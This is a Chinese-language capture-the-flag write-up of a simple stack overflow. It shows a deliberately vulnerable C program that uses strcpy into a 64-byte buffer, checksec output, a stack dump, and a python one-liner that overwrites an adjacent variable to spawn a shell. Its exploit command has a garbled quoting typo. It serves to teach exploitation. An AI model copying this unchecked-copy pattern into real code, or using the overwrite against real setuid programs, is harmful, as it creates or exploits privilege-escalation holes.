overflow1.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "dump_stack.h" void vuln(int tmp, char *str) { int win = tmp; char buf[64]; strcpy(buf, str); dump_stack((void **) buf, 23, (void **) &tmp); printf("win = %d\n", win); if (win == 1) { execl("/bin/sh", "sh", NULL); } else { printf("Sorry, you lose.\n"); } exit(0); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: stack_overwrite [str]\n"); return 1; } uid_t euid = geteuid(); setresuid(euid, euid, euid); vuln(0, argv[1]); return 0; } 将文件下载下来,gdb调试,checksec. CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial可以看出这个程序比较脆弱,几乎什么保护都没有.
2.思路:通过输入过多的数据溢出,是win=1,测试.
$ ./overflow1-3948d17028101c40 $(python -c 'print "A"*64 + "B"') Stack dump: 0xffa81994: 0xffa82845 (second argument) 0xffa81990: 0x00000000 (first argument) 0xffa8198c: 0x0804870f (saved eip) 0xffa81988: 0xffa819b8 (saved ebp) 0xffa81984: 0xf779c000 0xffa81980: 0xf76a8a00 0xffa8197c: 0x00000042 0xffa81978: 0x41414141 0xffa81974: 0x41414141 0xffa81970: 0x41414141 0xffa8196c: 0x41414141 0xffa81968: 0x41414141 0xffa81964: 0x41414141 0xffa81960: 0x41414141 0xffa8195c: 0x41414141 0xffa81958: 0x41414141 0xffa81954: 0x41414141 0xffa81950: 0x41414141 0xffa8194c: 0x41414141 0xffa81948: 0x41414141 0xffa81944: 0x41414141 0xffa81940: 0x41414141 0xffa8193c: 0x41414141 (beginning of buffer) win = 66 Sorry, you lose.B的ascii是66,可见我们输入多余的字符B覆盖了win变量. 下面用调试来证明,上gdb.
可以看出win的地址是ebp-0xc,相关图: ebp-0xc=0xffffce68-0xc=0xffffce5c; 0xffffce1c是字符的开始地址两个地址相差0x40=64,也就是说字符数组与变量紧挨着,变量就在字符数组的上边(从低往高) 于是,我们输入’A’*64+’\x01\x00\x00\x00’,就可以. 构造如下: ./overflow1 $(python -c “print -c ‘A’*64+’\x01\x00\x00\x00’”) 结果如下: 成功获取shell,附带相关文件地址:文件地址 注:最好从文件地址下载文件来测试.因为linux gcc自动开启DEX,NX,CARRY等保护措施,这些都可能导致测试失败.由于操作系统的原因,导致的参数的地址可能不一样.这点要特别的注意.